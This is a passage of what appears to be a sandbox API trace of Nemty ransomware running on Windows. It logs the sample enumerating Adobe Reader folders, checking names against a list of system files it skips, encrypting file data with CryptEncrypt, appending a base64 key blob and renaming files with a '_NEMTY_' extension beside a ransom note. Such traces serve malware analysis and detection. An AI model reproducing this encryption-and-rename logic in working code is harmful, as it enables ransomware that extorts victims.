hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0183.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.180] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.180] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0183.180] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0183.181] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0183.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0183.182] Sleep (dwMilliseconds=0x5) [0183.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x20d5f750, dwHighDateTime=0x1d561e8)) [0183.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x20d5f750, dwHighDateTime=0x1d561e8)) [0183.190] GetLastError () returned 0x0 [0183.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.191] GetLastError () returned 0x0 [0183.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.191] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0183.191] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0183.191] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0183.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0183.191] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="C/l6P43AZVbKagvpmj2bLplJyOSK8cvWE2qfsEa78+HeVGg9ginLCwwIoX4aoXJD\r\njceIYc2aUoR+4AVRUlgdriP1NeFpP+jkHTfT13O6kJ3A6s2waBJVO3TMMLtNOFwp\r\nHcBs0oPZ4byXd3W+jcij2e64jBZJWAimaJZOGftNas0l/ix4SntlvW4yw6i+UT0B\r\nRW0YKDhm4TvK77iNBKWOo3u/55Lcd/U9Y8JfaPsf71kyxUussxfhzb/KZCYYsppP\r\nLueeGyrpZ4T+JoujK/IZEL7hjmu9L9/G0YrI4zTxQd/6hgPXXUS4Uzy5KYmNBCmf\r\n48RpYBK47GtLdduUtyFIGw==\r\n", pcchString=0x653e29c) returned 1 [0183.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0183.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.191] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0183.191] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=245) returned 1 [0183.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340270 [0183.192] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.192] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xf0, lpOverlapped=0x0) returned 1 [0183.193] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.193] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xf0, lpOverlapped=0x0) returned 1 [0183.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0183.193] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=245, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf5 [0183.193] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0183.193] CloseHandle (hObject=0x2f0) returned 1 [0183.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0183.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0183.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0183.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0183.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.193] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0183.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0183.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0183.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.194] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d13490, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x20d13490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20d13490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0183.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0183.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0183.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0183.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0183.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0183.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0183.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0183.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0183.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.196] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d13490, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x20d13490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20d13490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0183.196] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0183.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.196] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.RUS", cAlternateFileName="")) returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2=".") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="..") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="...") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="windows") returned -1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="rsa") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="NTDETECT.COM") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="ntldr") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="MSDOS.SYS") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="IO.SYS") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="boot.ini") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="boot.ini") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="ntuser.dat") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="desktop.ini") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="CONFIG.SYS") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="RECYCLER") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="bootmgr") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", lpString2="programdata") returned 1 [0183.196] lstrcmpiW (lpString1="Spelling.RUS", 